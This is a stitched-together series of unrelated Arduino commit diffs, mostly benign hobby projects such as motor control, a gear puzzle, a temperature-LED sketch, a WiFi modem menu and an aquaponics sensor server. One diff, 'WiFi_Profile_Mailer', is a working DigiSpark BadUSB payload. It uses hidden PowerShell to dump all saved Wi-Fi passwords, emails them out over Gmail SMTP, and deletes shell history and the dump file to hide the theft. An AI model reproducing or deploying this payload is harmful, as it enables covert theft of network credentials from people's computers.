--- coni/arduino/main/master/multi_master.ino
+++ coni/arduino/main/master/multi_master.ino
@@ -60,10 +60,10 @@
           break;
         case 'A':
           if (dataIn > 360) { //vel A
-            dataOut[0] = dataIn + 1500000;
+            dataOut[completo] = dataIn + 1500000;
           }
           else { //abs A
-            dataOut[0] = dataIn * (100800 / 360) + 16500000;
+            dataOut[completo] = dataIn * (100800 / 360) + 16500000;
           }
           Serial.print(tag);
           completo = 6;
@@ -75,10 +75,10 @@
           break;
         case 'B':   //vel B
           if (dataIn > 360) { //vel B
-            dataOut[0] = dataIn + 3500000;
+            dataOut[completo] = dataIn + 3500000;
           }
           else { //abs B
-            dataOut[0] = dataIn * (100800 / 360) + 17500000;
+            dataOut[completo] = dataIn * (100800 / 360) + 17500000;
           }
           Serial.print(tag);
           completo = 6;
@@ -90,10 +90,10 @@
           break;
         case 'C':
           if (dataIn > 360) { //vel C
-            dataOut[0] = dataIn + 7500000;
+            dataOut[completo] = dataIn + 7500000;
           }
           else { //abs C
-            dataOut[0] = dataIn * (100800 / 360) + 18500000;
+            dataOut[completo] = dataIn * (100800 / 360) + 18500000;
           }
           Serial.print(tag);
           completo = 6;
@@ -105,10 +105,10 @@
           break;
         case 'D':
           if (dataIn > 360) { //vel D
-            dataOut[0] = dataIn + 9500000;
+            dataOut[completo] = dataIn + 9500000;
           }
           else { //abs D
-            dataOut[0] = dataIn * (100800 / 360) + 19500000;
+            dataOut[completo] = dataIn * (100800 / 360) + 19500000;
           }
           Serial.print(tag);
           completo = 6;
@@ -120,39 +120,39 @@
           break;
         case 'E':
           if (dataIn > 360) { //vel E
-            dataOut[0] = dataIn + 11500000;
+            dataOut[completo] = dataIn + 11500000;
           }
           else { //abs E
-            dataOut[0] = dataIn * (100800 / 360) + 20500000;
+            dataOut[completo] = dataIn * (100800 / 360) + 20500000;
           }
           Serial.print(tag);
           completo++;
           break;
         case 's':
-          dataOut[0] = 15500000;
+          dataOut[completo] = 15500000;
           Serial2.print(dataOut);
           completo = 6;
           break;
         case 'z':
           switch (dataIn) {
             case 1:
-              dataOut[0] = 4500000;
+              dataOut[completo] = 4500000;
               completo = 6;
               break;
             case 2:
-              dataOut[0] = 5500000;
+              dataOut[completo] = 5500000;
               completo = 6;
               break;
             case 3:
-              dataOut[0] = 12500000;
+              dataOut[completo] = 12500000;
               completo = 6;
               break;
             case 4:
-              dataOut[0] = 13500000;
+              dataOut[completo] = 13500000;
               completo = 6;
               break;
             case 5:
-              dataOut[0] = 14500000;
+              dataOut[completo] = 14500000;
               completo = 6;
               break;
             default:
@@ -167,7 +167,7 @@

       Serial.print(dataIn);
       Serial.print(" // ");
-      Serial.print(dataOut);
+      Serial.print(dataOut[completo]);
       Serial.print(" // ");
       Serial.println(completo)


add state vars

add state vars

--- crypt-gears/gear_arduino/gear_arduino.ino
+++ crypt-gears/gear_arduino/gear_arduino.ino
@@ -1,4 +1,4 @@
-// hard-coded pins
+// hard-coded pin numbers for input/output
 int gear_connections[3][12] = {{ 2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13},
                                {14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25},
                                {26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37}};
@@ -12,7 +12,11 @@
 // TODO(bhomberg): calculate these numbers for real once mechanism is built; this is approx
 int pot_locs[8] = {100, 200, 300, 400, 500, 600, 700, 800};

-// TODO(benkraft): add any state variables you need
+// State of the output lights (should match output_lights).
+// Reset when you move any gears.  This is the only state we need;
+// everything about the positions of gears we determine at need.
+// When each of these are set to 1, you win!
+int correct_positions[7] = {0, 0, 0, 0, 0, 0, 0};

 // this runs once when the program starts
 void setup()
@@ -149,8 +153,6 @@
 // gears have been taken out / selector gear goes back to beginning, reset everything
 void reset()
 {
-  // TODO(benkraft): clear all known gears
-
   // turn off all lights
   for(int i=0; i<7; i++)
   {
@@ -161,6 +163,12 @@
     digitalWrite(gear_lodged[i], LOW);
   }

+  // reset internal state: you have to start over.
+  for(int i=0; i<7; i++)
+  {
+    correct_positions[i] = 0;
+  }
+
   // TODO(bhomberg): close all solenoids (??)
 }


modified:   mcu_main/mcu_main.ino

modified:   mcu_main/mcu_main.ino

--- mcu_main/mcu_main.ino
+++ mcu_main/mcu_main.ino
@@ -47,13 +47,6 @@
       cmd += c; //makes the string readString
     }
   }
-
-  if(cmd.length() > 0)
-  {
-    Serial.println(cmd); //see what was received
-  }
-
-

   if(cmd.length() > 3)
   {


Added project 03 code.

Added project 03 code.

--- project-03/project-03.ino
+++ project-03/project-03.ino
@@ -1,10 +1,46 @@
+const int sensorPin = A0;
+const float baselineTemp = 20.0;
+
+
 void setup() {
-	Serial.begin(9600);
-	Serial.print("Press any key: ");
+	Serial.begin(9600); // open a serial port
+	Serial.println("Setting up the pins ..."); // <-- not a part of the original starter kit project code!
+	for (int pinNumber = 2; pinNumber<5; pinNumber++) {
+		pinMode(pinNumber, OUTPUT);
+		digitalWrite(pinNumber, LOW);
+	}
 }

 void loop() {
-	if (Serial.available()) {
-		Serial.println(Serial.read());
+	int sensorVal = analogRead(sensorPin);
+	Serial.print("Sensor Value: ");
+	Serial.print(sensorVal);
+	// convert the ADC reading to voltage:
+	float voltage = (sensorVal/1024.0) * 5.0;
+	Serial.print(", Volts: ");
+	Serial.print(voltage);
+	Serial.print(", degrees C: ");
+	// convert the voltage to temperature in degrees:
+	float temperature = (voltage - .5) * 100;
+	Serial.println(temperature);
+	if (temperature < baselineTemp) {
+		digitalWrite(2, LOW);
+		digitalWrite(3, LOW);
+		digitalWrite(4, LOW);
+	} else if (temperature >= baselineTemp+2 &&
+						 temperature < baselineTemp+4) {
+		digitalWrite(2, HIGH);
+		digitalWrite(3, LOW);
+		digitalWrite(4, LOW);
+	} else if (temperature >= baselineTemp+4 &&
+						 temperature < baselineTemp+6) {
+		digitalWrite(2, HIGH);
+		digitalWrite(3, HIGH);
+		digitalWrite(4, LOW);
+	} else if (temperature > baselineTemp+6) {
+		digitalWrite(2, HIGH);
+		digitalWrite(3, HIGH);
+		digitalWrite(4, HIGH);
 	}
+	delay(1);
 }


Handle hold and release events

Handle hold and release events

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -14,7 +14,7 @@
 #include <Homie.h>

 #define FW_NAME "homie-sonoff-touch"
-#define FW_VERSION "0.0.7"
+#define FW_VERSION "0.0.8"

 /* Magic sequence for Autodetectable Binary Upload */
 const char *__FLAGGED_FW_NAME = "\xbf\x84\xe4\x13\x54" FW_NAME "\x93\x44\x6b\xa7\x75";
@@ -97,14 +97,18 @@

   if ( function > 0 ) {
     // One shot message
-    Serial.println("Resetting");
+    Serial.println("One-shot");
     function = 0;
   }

   if ( function < 0 ) {
-    // Repeat messages until released.
-    // Will likely need to rate limit repeat message publishing
-    Serial.println("Held");
+    if ( button1.depressed == 1 ) {
+      Serial.println("Held");
+    }
+    if ( button1.depressed == 0 ) {
+      Serial.println("Released");
+      function = 0;
+    }
   }

   delay(5);


Add 2400/9600 baud toggle to config menu for non-Hayes

--- MicroView/WiFiModem-Menu/WiFiModem-Menu.ino
+++ MicroView/WiFiModem-Menu/WiFiModem-Menu.ino
@@ -6,7 +6,7 @@

 // Defining HAYES enables Hayes commands and disables the 1) and 2) menu options for telnet and incoming connections.
 // This is required to ensure the compiled code is <= 30,720 bytes
-#define HAYES
+//#define HAYES
 //#define ENABLE_C64_DCD
 #include <MicroView.h>
 #include <elapsedMillis.h>
@@ -22,7 +22,8 @@

 // Configuration 0v3: Wifi Hardware, C64 Software.

-#define BAUD_RATE 2400
+int BAUD_RATE=2400;
+//#define BAUD_RATE 2400
 #define WiFly_BAUD_RATE 2400
 #define MIN_FLOW_CONTROL_RATE 4800  // If BAUD rate is this speed or higher, RTS/CTS flow control is enabled.

@@ -62,6 +63,7 @@
 // EEPROM Addresses
 #define ADDR_PETSCII            0
 #define ADDR_AUTOSTART          1
+#define ADDR_BAUD               2
 #define ADDR_MODEM_ECHO         10
 #define ADDR_MODEM_FLOW         11
 #define ADDR_MODEM_VERBOSE      12
@@ -154,11 +156,6 @@
         Modem_Recovery++;
         EEPROM.write(ADDR_RECOVERY, Modem_Recovery);
 #endif  // HAYES
-
-        C64Serial.begin(BAUD_RATE);
-        WifiSerial.begin(WiFly_BAUD_RATE);
-
-        C64Serial.setTimeout(1000);

         // Always setup pins for flow control
         pinModeFast(C64_RTS, INPUT);
@@ -172,7 +169,29 @@
         digitalWriteFast(C64_CTS, HIGH);  // C64 is inverted

         DisplayBoth(F("Wi-Fi Init..."));
-
+
+        WifiSerial.begin(WiFly_BAUD_RATE);
+
+#ifndef HAYES
+        BAUD_RATE = EEPROM.read(ADDR_BAUD);
+        switch (BAUD_RATE)
+        {
+          case 0:
+          BAUD_RATE = 2400;
+          break;
+
+          case 1:
+          BAUD_RATE = 9600;
+          break;
+
+          default:
+          BAUD_RATE = 2400;
+        }
+#endif
+
+        C64Serial.begin(BAUD_RATE);
+        C64Serial.setTimeout(1000);
+
         boolean ok = wifly.begin(&WifiSerial, &C64Serial);

         if (ok)
@@ -187,6 +206,13 @@

         // Enable DNS caching, TCP retry, TCP_NODELAY, TCP connection status
             wifly.setIpFlags(16 && 4 && 2 && 1);
+
+#ifndef HAYES
+        if (BAUD_RATE == 9600) {
+            delay(1000);
+            setBaudWiFi(9600,0);
+        }
+#endif

         wifly.close();

@@ -279,8 +305,9 @@
         C64Println(F("1. Display Current Configuration"));
         C64Println(F("2. Change SSID"));
         C64Println(F("3. Autostart Options"));
-        C64Println(F("4. Direct Terminal Mode (Debug)"));
-        C64Println(F("5. Return to Main Menu"));
+        C64Println(F("4. Toggle 2400/9600 baud"));
+        C64Println(F("5. Direct Terminal Mode (Debug)"));
+        C64Println(F("6. Return to Main Menu"));
         C64Println();
         C64Print(F("Select: "));

@@ -298,10 +325,15 @@
         case '3': ConfigureAutoStart();
             break;

-        case '4': RawTerminalMode();
+#ifndef HAYES
+        case '4': ConfigureBaud();
+            break;
+#endif
+
+        case '5': RawTerminalMode();
             return;

-        case '5': return;
+        case '6': return;

         case 8:
             SetPETSCIIMode(false);
@@ -805,7 +837,8 @@

     while (wifly.available() != -1) // -1 means closed
     {
-        if (baudMismatch) {   // Assumes host is slower than WiFly
+        if (0) {   // Assumes host is slower than WiFly
+        //if (baudMismatch) {   // Assumes host is slower than WiFly
             while (wifly.available() > 0)
             {
                 digitalWriteFast(WIFI_CTS, HIGH);     // ..stop data from Wi-Fi
@@ -1830,7 +1863,11 @@
     Modem_S0_AutoAnswer = false;
     Modem_S2_EscapeCharacter = '+';
     Modem_isDcdInverted = false;
+#ifndef HAYES
+    BAUD_RATE = 2400;
+    setBaud(2400,0);
     delay(2000);
+#endif
 }

 // Save settings to profile.  Future:  profile #1 using ADDR_MODEM_ECHO1 etc.
@@ -1860,6 +1897,58 @@

 #endif  // HAYES

+#ifndef HAYES
+void ConfigureBaud()
+{
+  if (BAUD_RATE == 2400)
+  {
+      setBaud(9600,true);
+  }
+  else
+  {
+      setBaud(2400,true);
+  }
+}
+
+
+void setBaud(int newBaudRate, boolean pause) {
+  char temp[20];
+  BAUD_RATE = newBaudRate;
+  sprintf(temp,"New baud: %d",BAUD_RATE);
+  C64Println(temp);
+  C64Serial.flush();
+  delay(2);
+  C64Serial.end();
+  C64Serial.begin(BAUD_RATE);
+  C64Serial.setTimeout(1000);
+
+  WifiSerial.flush();
+  delay(2);
+  wifly.setBaud(newBaudRate);     // Uses set uart instant so no save and reboot needed
+  delay(1000);
+  WifiSerial.end();
+  WifiSerial.begin(newBaudRate);
+
+  if (pause)
+    delay(5000);  // Delay 5 seconds so user has time to switch to help prevent junk...
+  //baudMismatch = (BAUD_RATE != WiFly_BAUD_RATE ? 1 : 0);
+
+  if (BAUD_RATE == 2400)
+    EEPROM.write(ADDR_BAUD, 0);  // Save
+  else
+    EEPROM.write(ADDR_BAUD, 1);  // Save
+}
+
+void setBaudWiFi(int newBaudRate, boolean pause) {
+  WifiSerial.flush();
+  delay(2);
+  wifly.setBaud(newBaudRate);     // Uses set uart instant so no save and reboot needed
+  delay(1000);
+  WifiSerial.end();
+  WifiSerial.begin(newBaudRate);
+}
+
+#endif HAYES

 int freeRam ()
 {


removed what appears to have been a hostname setup. The mDNS seems to work fine through OTA library.

--- code/ESP8266_OSCExample/ESP8266_OSCExample/ESP8266_OSCExample.ino
+++ code/ESP8266_OSCExample/ESP8266_OSCExample/ESP8266_OSCExample.ino
@@ -221,7 +221,6 @@
     Serial.print("Attempting to connect to WPA SSID: ");
     Serial.println(SSID);

-    WiFi.hostname("testname");
     // Connect to WPA/WPA2 network:
     WiFi.mode(WIFI_STA);
     status = WiFi.begin(SSID, PASS);


adding some major improvements to diversity selection.

--- src/rx5808-pro-diversity/rx5808-pro-diversity.ino
+++ src/rx5808-pro-diversity/rx5808-pro-diversity.ino
@@ -173,6 +173,7 @@
 uint8_t rssi_scaled = 0;
 #ifdef USE_DIVERSITY
 uint8_t diversity_mode = useReceiverAuto;
+uint8_t active_receiver = useReceiverA;
 #endif
 uint8_t hight = 0;
 uint8_t state = START_STATE;
@@ -1069,7 +1070,7 @@
 #ifdef USE_DIVERSITY
     return readRSSI(-1);
 }
-uint16_t readRSSI(uint8_t receiver)
+uint16_t readRSSI(char receiver)
 {
 #endif
     uint16_t rssi = 0;
@@ -1080,16 +1081,53 @@
 #endif
     for (uint8_t i = 0; i < 10; i++)
     {
-        rssiA += analogRead(rssiPinA);
-
-#ifdef USE_DIVERSITY
-        rssiB += analogRead(rssiPinB);
+        rssiA += analogRead(rssiPinA);//random(RSSI_MAX_VAL-100, RSSI_MAX_VAL);//
+
+#ifdef USE_DIVERSITY
+        rssiB += analogRead(rssiPinB);//random(RSSI_MAX_VAL-100, RSSI_MAX_VAL);//
 #endif
     }
     rssiA = rssiA/10; // average of 10 readings

 #ifdef USE_DIVERSITY
     rssiB = rssiB/10; // average of 10 readings
+#endif
+    // special case for RSSI setup
+    if(state==STATE_RSSI_SETUP)
+    { // RSSI setup
+        if(rssiA < rssi_setup_min_a)
+        {
+            rssi_setup_min_a=rssiA;
+            TV.print(50, SCANNER_LIST_Y_POS, "   ");
+            TV.print(50, SCANNER_LIST_Y_POS, rssi_setup_min_a , DEC);
+        }
+        if(rssiA > rssi_setup_max_a)
+        {
+            rssi_setup_max_a=rssiA;
+            TV.print(110, SCANNER_LIST_Y_POS, "   ");
+            TV.print(110, SCANNER_LIST_Y_POS, rssi_setup_max_a , DEC);
+        }
+
+#ifdef USE_DIVERSITY
+        if(rssiB < rssi_setup_min_b)
+        {
+            rssi_setup_min_b=rssiB;
+        }
+        if(rssiB > rssi_setup_max_b)
+        {
+            rssi_setup_max_b=rssiB;
+        }
+#endif
+    }
+
+
+    rssiA = constrain(rssiA, rssi_min_a, rssi_max_a);    //original 90---250
+    rssiA=rssiA-rssi_min_a; // set zero point (value 0...160)
+    rssiA = map(rssiA, 0, rssi_max_a-rssi_min_a , 1, 100);   // scale from 1..100%
+#ifdef USE_DIVERSITY
+    rssiB = constrain(rssiB, rssi_min_b, rssi_max_b);    //original 90---250
+    rssiB=rssiB-rssi_min_b; // set zero point (value 0...160)
+    rssiB = map(rssiB, 0, rssi_max_a-rssi_min_b , 1, 100);   // scale from 1..100%
     if(receiver == -1) // no receiver was chosen using diversity
     {
         switch(diversity_mode)
@@ -1123,51 +1161,21 @@
             default:
                 receiver=useReceiverA;
         }
+        active_receiver = receiver;
         // set the antenna LED and switch the video
         setReceiver(receiver);
     }
 #endif

-    // special case for RSSI setup
-    if(state==STATE_RSSI_SETUP)
-    { // RSSI setup
-        if(rssiA < rssi_setup_min_a)
-        {
-            rssi_setup_min_a=rssiA;
-            TV.print(50, SCANNER_LIST_Y_POS, "   ");
-            TV.print(50, SCANNER_LIST_Y_POS, rssi_setup_min_a , DEC);
-        }
-        if(rssiA > rssi_setup_max_a)
-        {
-            rssi_setup_max_a=rssiA;
-            TV.print(110, SCANNER_LIST_Y_POS, "   ");
-            TV.print(110, SCANNER_LIST_Y_POS, rssi_setup_max_a , DEC);
-        }
-
-#ifdef USE_DIVERSITY
-        if(rssiB < rssi_setup_min_b)
-        {
-            rssi_setup_min_b=rssiB;
-        }
-        if(rssiB > rssi_setup_max_b)
-        {
-            rssi_setup_max_b=rssiB;
-        }
-#endif
-    }
 #ifdef USE_DIVERSITY
     if(receiver == useReceiverA || state==STATE_RSSI_SETUP)
     {
 #endif
-        rssi = constrain(rssiA, rssi_min_a, rssi_max_a);    //original 90---250
-        rssi=rssi-rssi_min_a; // set zero point (value 0...160)
-        rssi = map(rssi, 0, rssi_max_a-rssi_min_a , 1, 100);   // scale from 1..100%
+        rssi = rssiA;
 #ifdef USE_DIVERSITY
     }
     else {
-        rssi = constrain(rssiB, rssi_min_b, rssi_max_b);    //original 90---250
-        rssi=rssi-rssi_min_b; // set zero point (value 0...160)
-        rssi = map(rssi, 0, rssi_max_a-rssi_min_b , 1, 100);   // scale from 1..100%
+        rssi = rssiB;
     }
 #endif
     return (rssi);


Bug Fix in WiFi_Mailer

Bug Fix in WiFi_Mailer

Fixed a bug in the command that created the csv file (it didn't have the
required backslashes (\) to print some backslashes.

--- WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino
+++ WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino
@@ -12,7 +12,13 @@
   DigiKeyboard.print("cmd");
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
-  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" "));
+  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print("COLOR EF");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\""));
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(3000);
   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
@@ -20,6 +26,12 @@
   DigiKeyboard.print("cmd");
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
+  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print("COLOR EF");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
   DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\""));
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
@@ -28,8 +40,30 @@
   DigiKeyboard.print("cmd");
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
+  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print("COLOR EF");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
   DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\""));
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print("cmd");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print("COLOR EF");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print(F("del temp.csv"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print(F("exit"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
   for(;;){ /*empty*/ }
 }


Det virker

Det virker


Add lhe linear encoder code, and use the modified software library to be able to compile

--- Arduino/Complete/src/src.ino
+++ Arduino/Complete/src/src.ino
@@ -7,12 +7,19 @@
 // It is as well derived from HBridgePWM.ino from robokite project
 // http://code.google.com/p/robokite/source/browse/HBridgePWM/HBridgePWM.ino
 // The selector 1 3 5 6 have to be on on.
-#include <SoftwareSerial.h>
+//
+// Using example in http://code.google.com/p/arduino-pinchangeint/wiki/Usage
+// Parts of code taken from http://playground.arduino.cc/Main/RotaryEncoders J.Carter(of Earth)
+
+#define NO_PORTB_PINCHANGES // PortB used for mySofwareSerial
+#include <mySoftwareSerial.h>
 #include <SabertoothSimplified.h>
 #include <TinyGPS++.h>
 #include <PID_v1.h>
-
-SoftwareSerial SWSerial(NOT_A_PIN, 8); // RX on no pin (unused), TX on pin 11 (to S1).
+#include <PinChangeInt.h>
+
+
+mySoftwareSerial SWSerial(NOT_A_PIN, 8); // RX on no pin (unused), TX on pin 11 (to S1).
 SabertoothSimplified ST(SWSerial); // Use SWSerial as the serial port.

 const int analogInPin = A0;  // Analog input pin that the potentiometer is attached to
@@ -56,6 +63,50 @@
 //Specify the links and initial tuning parameters (Kp, Ki, Kd)
 PID myPID(&Input, &Output, &Setpoint, 1, 1, 1, DIRECT);

+
+//*****************************************************************************//
+// 'threshold' is the De-bounce Adjustment factor for the Rotary Encoder. halfSteps
+volatile unsigned long threshold = 1000;
+
+// 'halfSteps' is the counter of half-steps. The actual
+// number of steps will be equal to halfSteps / 2
+//
+volatile long halfSteps = 0;
+long halfStepsCorrection = 0;
+
+// Working variables for the interrupt routines
+//
+volatile unsigned long int0time = 0;
+volatile unsigned long int1time = 0;
+volatile uint8_t int0signal = 0;
+volatile uint8_t int1signal = 0;
+volatile uint8_t int0history = 0;
+volatile uint8_t int1history = 0;
+
+uint8_t latest_interrupted_pin;
+uint8_t interrupt_count[20]={0}; // 20 possible arduino pins
+
+int pinA = 2;
+int pinB = 3;
+int pinReset = 4;
+
+boolean isAbsoluteReference = false;
+
+// These constants won't change.  They're used to give names
+// to the pins used:
+const int potPin = 1;  // Analog input pin that the potentiometer is attached to
+
+int barrePotentiometerValue = 0;        // value read from the pot
+
+double linearResolution = 0.005; //Resolution of the linear encoder (in meters)
+double linearRange = 0.5; //Range of the sensor to normalize data (+/- linearRange/2)
+
+double potentiometerRangeDeg= 300;
+double potentiometerMaxRange = potentiometerRangeDeg * 3.1414/180;
+double potentiometerUsedRange = 3.1415;
+double potentiometerDistance = 0.05;
+//*********************************************************************************************
+
 void setup()
 {
   // Initialize software serial communication with Sabertooth
@@ -67,6 +118,22 @@
   //turn the PID on
   myPID.SetMode(AUTOMATIC);
   myPID.SetOutputLimits(-50, 50);
+
+  //*****************************************************
+  pinMode(pinA, INPUT);
+  digitalWrite(pinA, HIGH);
+  attachInterrupt(0, int0, CHANGE);
+  //PCintPort::attachInterrupt(pinA, &int0, CHANGE);
+  pinMode(pinB, INPUT);
+  digitalWrite(pinB, HIGH);
+  attachInterrupt(1, int1, CHANGE);
+  //PCintPort::attachInterrupt(pinB, &int1, CHANGE);
+
+  // Pin used to get absolute position
+  pinMode(pinReset, INPUT);
+  digitalWrite(pinReset, HIGH);
+  PCintPort::attachInterrupt(pinReset, &reset, CHANGE);
+
 }

 void serialEvent() {
@@ -129,12 +196,13 @@
   int power1, power2;
   sensorValue = analogRead(analogInPin);
   setMode();
-  //alphaSigned=Output/127.0;
+  computePID();
+  alphaSigned1=Output/127.0;
   computeAlphaSigned();
   power1 = alphaSigned1*127;
   power2 = alphaSigned2*127;
   ST.motor(1, power1);
-  ST.motor(2, power2);
+  //ST.motor(2, power2);
   delay(10);
   if (millis()-lastWriteTime>100)
   {
@@ -228,4 +296,54 @@
 }

-
+void int0()
+{
+  if ( micros() - int0time < threshold )
+    return;
+  int0history = int0signal;
+  int0signal = bitRead(PIND,pinA);
+  if ( int0history==int0signal )
+    return;
+  int0time = micros();
+  if ( int0signal == int1signal )
+    halfSteps++;
+  else
+    halfSteps--;
+}
+
+void int1()
+{
+  if ( micros() - int1time < threshold )
+    return;
+  int1history = int1signal;
+  int1signal = bitRead(PIND,pinB);
+  if ( int1history==int1signal )
+    return;
+  int1time = micros();
+}
+
+void reset()
+{
+  halfStepsCorrection = halfSteps;
+  isAbsoluteReference = true;
+ }
+
+void computePID()
+{
+  long steps = (halfSteps / 2);
+  double relative_position_m = (halfSteps)*linearResolution/2;
+  double absolute_position_m = (halfSteps-halfStepsCorrection)*linearResolution/2;
+
+  // read the analog in value:
+  double raw_angle = analogRead(potPin)/1024.0*potentiometerMaxRange;
+  double neutralAngle = 0.8*potentiometerMaxRange;
+  double angle = raw_angle - neutralAngle;
+  double correction_m = angle*potentiometerDistance;
+  Input = relative_position_m;
+  Setpoint = StrToFloat(pwm1.value());
+  myPID.Compute();
+}
+
+
+
+


Lucas hacker skillz

Lucas hacker skillz

--- xBeeMegaRobot_func/xBeeMegaRobot_func.ino
+++ xBeeMegaRobot_func/xBeeMegaRobot_func.ino
@@ -84,7 +84,7 @@
 void loop() {
   for(int i = 0; i < 50; i++){
   xBee.readPacket(tempPk);
-  for(int i = 0; i < 24; i++){
+  for(int i = 14; i <= 22; i=i+2){
     Serial.print(tempPk[i], DEC);  // Printing the read package
     Serial.print(" ");
   }


add json format

add json format

--- AQUAPUNO_ETH.ino
+++ AQUAPUNO_ETH.ino
@@ -273,7 +273,47 @@
         if (ckname == "RLY2"){Relay2.TurnOn();server.print("2 ON");}
         if (ckname == "RLY3"){Relay3.TurnOn();server.print("3 ON");}
         if (ckname == "RLY4"){Relay4.TurnOn();server.print("4 ON");}
-        if (ckname == "GETINFO"){
+
+        }
+      }
+    }
+  if (type == WebServer::POST)
+  {
+    server.printP(Post_params_begin);
+    while (server.nextURLparam(&url_tail, name, NAMELEN, value, VALUELEN))
+    {
+      server.print(name);
+      server.printP(Parsed_item_separator);
+      server.print(value);
+      server.printP(Tail_end);
+    }
+  }
+  server.printP(Page_end);
+
+}
+
+
+void getInfo(WebServer &server, WebServer::ConnectionType type, char *url_tail, bool tail_complete)
+{
+  URLPARAM_RESULT rc;
+  char name[NAMELEN];
+  int  name_len;
+  char value[VALUELEN];
+  int value_len;
+
+  /* this line sends the standard "we're all OK" headers back to the
+     browser */
+  server.httpSuccess();
+
+  /* if we're handling a GET or POST, we can output our data here.
+     For a HEAD request, we just stop after outputting headers. */
+  if (type == WebServer::HEAD)
+    return;
+
+
+
+        String ckname = name;
+        String ckvalue = value;
             float h = dht.readHumidity();
             float t = dht.readTemperature();

@@ -288,49 +328,31 @@

             char bbuffer[5];

-            String mydt = "MYDT";
             String data1 = "ARD1";
-
             char test[20];

-            String data2 = String(floatToString(test,t,2,4)); //temperature
-            String data3 = String(floatToString(test,h,2,4)); //humidity
-            String data4 = String(lhtval); //light
-            String data5 = String(random(0,5)); //flow1
-            String data6 = String(random(6,10)); //flow2
-            String data7 = String(Relay1.State()*5); //relay1
-            String data8 = String(Relay2.State()*10); //relay2
-            String data9 = String(Relay3.State()*15); //relay3
-            String data10 = String(Relay4.State()*20); //relay4
-            String data11 = String(analogRead(A1));
-            String data12 = String(analogRead(A2));
-            String data13 = String(analogRead(A3));
-            String data14 = String(analogRead(A4));
-            String delim = ":";
-            String retrn = "\r\n";
-            String myold = mydt + delim + data1 + delim + data2 + delim + data3 + delim + data4 + delim + data5 + delim + data6 + delim + data7 + delim + data8 + delim + data9 + delim + data10 + delim + data11 + delim + data12 + delim + data13 + delim + data14 +delim + retrn;
-            char mydata[70] = "";
-
+            String myold = "{ \"MYDT\" : [ { \"device_name\" : \"" + data1 + "\"}, ";
+            myold = myold + "{ \"sensor\" : \"temperature\" , \"value\" : \"" + String(floatToString(test,t,2,4)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"humidity\" , \"value\" : \"" + String(floatToString(test,h,2,4)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"light\" , \"value\" : \"" + String(lhtval) + "\"},";
+            myold = myold + "{ \"sensor\" : \"flow1\" , \"value\" : \"" + String(random(0,5)) + "\"},";
